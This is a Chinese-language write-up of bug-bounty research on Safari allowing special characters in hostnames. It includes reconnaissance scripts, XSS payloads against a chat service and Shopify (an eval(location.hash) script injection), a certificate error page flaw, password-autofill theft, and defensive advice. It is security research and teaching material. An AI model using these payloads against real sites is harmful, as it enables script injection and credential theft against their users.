在Safari中抓取Host头部内容
字数 1232 2025-08-27 12:33:48
Safari浏览器中利用特殊字符进行渗透测试的技术分析
1. 背景与发现
- Safari浏览器(包括OS X和iOS版本)允许域名中包含特殊字符
- 这一特性可能被用于渗透测试和安全漏洞利用
- 最初由Detectify Crowdsource Slack团队的Fredrik发现并分享
2. 准备工作
2.1 目标收集
- 从HackerOne和Bugcrowd获取有赏金的程序域名
- 将域名整理到文本文件中
- 使用Python脚本验证通配符域名支持
def wildcard(d):
if subprocess.Popen(["dig", "asdf."+d, "+short"], stdout=subprocess.PIPE).communicate()[0]:
return True
2.2 筛选有效目标
- 过滤掉仅重定向到主域或www子域的域名
- 使用Python脚本进行自动化筛选
requests.packages.urllib3.disable_warnings()
def check(d):
try:
r = requests.get("http://asdf." + d, verify=False)
if re.match("^http(s)*:\/\/(www.)*"+d, r.url):
return False
except:
print "Error: " + d
return True
3. 实际案例分析
3.1 未命名聊天服务
- 服务提供类似[company].slack.com的子域名
- 注销时会显示包含子域名的登录表单
- 漏洞利用:
- 表单代码:
<form action="https://subdomain.chatservice.com" method="post"> - 注入payload:
"onfocusin="alert(1)"d=" - 需要绕过Safari的特殊字符限制
- 表单代码:
3.2 Shopify平台
- 通配符域名:
*.shopify.com和*.myshopify.com - 利用方法:
- 欺骗正则表达式:
hehehe.shopify.com./ - 通过jQuery的
().html函数注入 - 最终payload:
http://as<script>eval(location.hash.substring(1));df<!--.sectest42.shopify.com./#alert(document.domain)
- 欺骗正则表达式:
- 注意:此漏洞未获赏金,因不影响核心安全
3.3 亚洲电商网站
- 经典XSS漏洞:子域中使用特殊字符导致反射型XSS
- 所有payload都能通过安全审核
- 使用脚本测试所有字符(%00到%FF)确认无服务器端过滤
4. 证书错误页面漏洞
4.1 发现过程
- Safari证书错误页面存在漏洞
- 通配符证书触发条件:
- 证书用于
*.example.com - 但Web服务器支持
*.*.example.com
- 证书用于
4.2 利用方法
- 重定向所有请求到有缺陷的证书
- 通过MITM攻击(如同一无线网络)
- 报告给Apple(CVE-2018-4133)
5. 密码管理器风险
- Safari支持的密码管理器可能自动填充凭据
- 利用方法:
- 使用选项卡API检查位置信息
- 窃取触发Safari错误的网站的密码
- 安全建议:禁用自动填充功能
6. 技术总结
- 特殊字符处理:Safari对域名中特殊字符的处理与其他浏览器不同
- 通配符测试:使用
dig命令验证通配符域名支持 - XSS注入技巧:
- 利用表单字段注入事件处理器
- 绕过字符限制(如使用
%0c代替空格)
- 证书欺骗:利用证书层级不匹配触发错误页面
- 自动化测试:编写脚本测试所有可能的字符组合
7. 防御建议
- 对子域名输入进行严格过滤
- 限制通配符证书的使用范围
- 对所有用户输入进行适当的编码输出
- 禁用或谨慎使用密码自动填充功能
- 定期进行安全审计,特别是针对浏览器特定行为
8. 工具与脚本
通配符验证脚本
import subprocess
def wildcard(d):
if subprocess.Popen(["dig", "asdf."+d, "+short"], stdout=subprocess.PIPE).communicate()[0]:
return True
return False
有效目标筛选脚本
import requests
import re
requests.packages.urllib3.disable_warnings()
def check(d):
try:
r = requests.get("http://asdf." + d, verify=False)
if re.match("^http(s)*:\/\/(www.)*"+d, r.url):
return False
except:
print "Error: " + d
return True
字符测试脚本(%00到%FF)
for i in range(0, 256):
char = "%" + format(i, '02x')
# 测试每个字符在payload中的效果
# 记录哪些字符被服务器过滤